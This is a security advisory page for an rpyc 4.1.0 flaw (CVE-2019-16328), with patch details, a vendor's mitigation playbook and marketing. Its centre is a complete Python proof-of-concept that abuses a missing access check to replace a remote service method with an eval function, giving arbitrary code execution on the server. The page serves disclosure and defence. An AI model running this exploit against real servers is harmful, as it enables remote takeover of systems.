GHSA-pj4g-4488-wmxm
HIGHGHSA-pj4g-4488-wmxm is a high-severity (CVSS 8.5) CWE-1321 vulnerability in rpyc. 2 public exploit references exist, so weaponization risk is real. O3 Security confirms whether GHSA-pj4g-4488-wmxm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Dynamic modification of RPyC service due to missing security check
Real-World Exposure
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Description
Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.
Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.
Workarounds
The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.
References
CVE-2019-16328 RPyC Security Documentation
For more information
If you have any questions or comments about this advisory:
- Open an issue using GitHub
Proof of Concept
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
_builtins = remote_modules['builtins']
remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}
# populate globals for CodeType calls on remote
remote_globals = remote_builtins['dict']()
for name, netref in remote_builtins.items():
remote_globals[name] = netref
for name, netref in self.netref_getattr(remote_modules, 'items')():
remote_globals[name] = netref
# create netrefs for types to create remote function malicously
remote_types = remote_builtins['__import__']("types")
remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')
# remote eval function constructed
remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
# PoC CWE-913: modify the exposed_nop of service
# by binding various netrefs in this execution frame, they are cached in
# the remote address space. setattr and eval functions are cached for the life
# of the netrefs in the frame. A consequence of Netref classes inheriting
# BaseNetref, each object is cached under_local_objects. So, we are able
# to construct arbitrary code using types and builtins.
# use the builtin netrefs to modify the service to use the constructed eval func
remote_setattr = remote_builtins['setattr']
remote_type = remote_builtins['type']
remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)
# show that nop was replaced by eval to complete the PoC
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
def test_2_new_conn_impacted(self):
# demostrate impact and scope of vuln for new connections
self.conn.close()
self.conn = rpyc.connect("localhost", PORT)
# show new conn can still use nop as eval
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
if __name__ == "__main__":
unittest.main()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | rpyc | ≥ 4.1.0&&< 4.1.1 | 4.1.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rpyc. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update rpyc to 4.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pj4g-4488-wmxm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pj4g-4488-wmxm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pj4g-4488-wmxm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pj4g-4488-wmxm in your dependencies?
O3 detects GHSA-pj4g-4488-wmxm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.